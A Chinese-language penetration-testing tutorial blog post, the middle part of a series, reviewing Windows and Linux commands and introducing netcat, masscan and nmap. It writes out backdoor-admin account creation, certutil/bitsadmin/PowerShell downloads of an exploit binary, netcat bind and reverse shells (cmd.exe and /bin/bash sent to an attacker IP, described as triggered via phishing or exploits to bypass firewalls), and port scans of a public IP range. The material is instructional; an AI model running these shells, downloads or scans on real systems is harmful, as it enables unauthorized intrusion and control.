渗透测试流程-中篇
#作者:允砸儿
#日期:乙巳青蛇年 四月廿一(2025年5月18日)
今天笔者带大家继续学习,网安的知识比较杂且知识面很广,这一部分会介绍很多需要使用的工具。会用各种工具是做网安的基础,ok咱们继续一起深入了解。
笔者先回顾一下关于Windows命令和Linux命令:
Windows命令回顾
基础命令:chdir(cd)、dir、whoami、ipconfig
#查看用户
net user
#创建用户
net user troyber/add
#设置密码
net user troyber 123456
#设置成管理员
net localgroup administrators troyber/add
#激活
net user troyber/active
#删除
net user troyber/delete
权限:
1、直接点击鼠标右键属性里面的安全编辑完全控制
2、Windows提权
文件下载:
把命令放到黑窗口里面
这是命令:(注意保存在那里 Windows+system32)
powershell.exe -Command "Invoke-WebRequest -Uri http://127.0.0.1:80/ppp.php -OutFile abc.php "
certutil.exe -urlcache -split -f http://127.0.0.1:8080/ms10-051.exe exploit.exe
bitsadmin /rawreturn /transfer down"http://127.0.0.1:8080/ms10-051.exe" c:\\exploit.exe
Linux命令回顾
基础命令:pwd、id、ls
权限:Linux提权
ll-a
* r (读权限):表示有读取文件或目录内容的权限
* w(写权限):表示有写入文件或目录内容的权限
* x(执行权限):表示有执行文件或目录的权限
* -(无权限):表示没有相应的权限
chmod u
g +(加入) r
o -(除去)w
a =(设定) x 文件或目录
文件下载:
wget http://127.0.0.1:8080/ms10-051.exe -O exploit.exe
curl http://127.0.0.1:8080/ms10-051.exe -o exploit.exe
接下来笔者介绍一些工具#主要是帮助我们收集各种情报的
nc (网猫)瑞士军刀
概念
NetCat简称‘nc’,有着网络安全界‘瑞士军刀的美称’,可以通过TCP/UDP协议读写,是一个好用稳定的连接系统后门的工具,同时也是一个网络调试和开发工具。
参数
-l :开启监听
-p :指定端口
-t :以talent形式应答
-e :程序重定向
-n :以数字的形式显示IP
-v :显示执行命令过程
-z :不进行交互,直接显示结果
-u :使用udp协议传输
-w :设置超时时间
-d :后台运行
基础使用
笔者带大家做一个案例:简单聊天
1、在安装好nc的文件夹里的路径中输入cmd#注意要在nc.exe的文件夹里面输入
2、打开两次黑窗口一个作为服务端一个作为客户端
3、在服务端输入:D:\install\netcat\netcat-win32-1.12>nc.exe -lp 5566
在客户端输入:D:\install\netcat\netcat-win32-1.12>nc.exe 127.0.0.1 5566
我可以在服务端输入hello客户端也可以接收到hello
正向返回shell
前面的进黑窗口的步骤笔者省略了直接进行操作
1、在服务端:nc.exe -lp 5566 -e cmd.exe
在客户端:nc.exe 127.0.0.1 5566
#服务端我把cmd的权限给你了,在客户端我得到了权限后,我第一次退出的是服务端,第二次退出的才是客户端(本体)
反弹shell
在这里面笔者开一个2012的虚拟机进行操作,笔者会分为主机和虚拟机(Windows系统)进行操作#注意虚拟机里面也要有nc
我们通过正向shell的时候会被防火墙进行拦截(#注意做测试的时候需要关闭防火墙),所以我们使目标机主动向外发起连接这样就会绕过防火墙建立通道。
主机启动监听窗口:nc.exe -lvp 5566
2012目标(通过漏洞利用、钓鱼攻击、恶意脚本等方式,让目标机器执行一条反向连接命令)
nc.exe -e cmd 192.168.111.1 5566
目标机器主动连接到攻击者的监听端口,攻击者获得目标机器的Shell控制权。
Linux系统
主机启动监听窗口:nc -lvp 5566
目标机:nc -e /bin/bash 192.168.0.56 5566
文件传输
1、客户端传服务端
#服务端:nc -lp 5566 >outfile.txt
#客户端:nc.exe 127.0.0.1 5566<a.txt
2、服务端传客户端
#客户端:nc.exe 127.0.0.1 5566 >a.txt
#服务端:nc -lp 5566 <outfile.txt
* >大于就相当于+ (输入),<小于就相当于-(输出),语句相反(端口随便搞)
信息探测(情报)
1、端口扫描(kali执行)
nc -n -v -w1 -z 192.168.1.187 1-1000(w1一定要慢超时时间)
2、打印banner
echo " " |nc -n -v -w1 192.168.1.187 1-1000(html的一个界面,什么报错信息都在banner里显示)
masscan
概述
kali里面内置的工具,性能比nmap要高,可以先使用masscan对目标IP(通常是一个网段)进行全端口扫描,然后再使用nmap对存活主机的开放端口进行扫描,找出对应端口的服务存在的漏洞,使用
masscan对目标IP进行扫描的原因就是因为其速度快于nmap。
参数
基本扫描参数
-p :指定扫描的端口范围
-P :设置目标主机的端口范围
-iL :从文件中读取目标IP地址
扫描速度和性能
--rate :设置扫描速度(数据包/秒)
--max-rate :设置最大扫描速度
--min-rate :设置最小扫描速度
--randomize-hosts :随机扫描目标主机
输出格式
-oL :以普通文本格式输出结果
-oJ :以JSON格式输出结果
-oG :以Drepable格式输出结果
网络探测
--ping :ping扫描,检测存活主机
--banners :获取主机服务的横幅信息
基础设置
--adapter :选择网络适配器
--router-mac:获取主机服务的横幅信息
实例
#扫描指定端口范围和IP范围
sudo masscan -p 80-90 --range 8.220.40.5
-8.220.40.255
#检查指定范围的主机是否存活
sudo masscan --ping --range 8.220.40.5
-8.220.40.255
#扫描所有端口,设置速率为任何值
masscan -p 1-65535 8.220.40.5
--rate 100
#从文件中读取IP列表,输出为JSON格式
masscan -iL targets.txt -oJ output.json
nmap
概述
功能强劲的扫描工具,kali里面自带,支持端口扫描、主机探测、服务识别、系统识别
参数
端口扫描
-p 80 :扫80端口
-p 1-80 :扫1-80端口
-p 80,3389,22,21 :扫指定端口
主机探测
nmap -sP 8.220.40.5
服务识别
nmap -sV 8.220.40.5
-p 80 nmap -sV 8.220.40.5
系统识别
sudo nmap -O 8.220.40.5 -p 8080
结果导出
sudo nmap -O 8.220.40.5 -oN re.txt
总结:笔者这是简单写一下这些工具,要深入可以在网上搜素一下语句。需要多加练习熟悉了就记住怎么操作了。后面我会写一下搜集情报的思路,情报学很重要。
人生每一个阶段都能悟出不同的道理,人的自信重要,主动出击也重要。有句俗语说的好,临渊羡鱼,不如退而结网。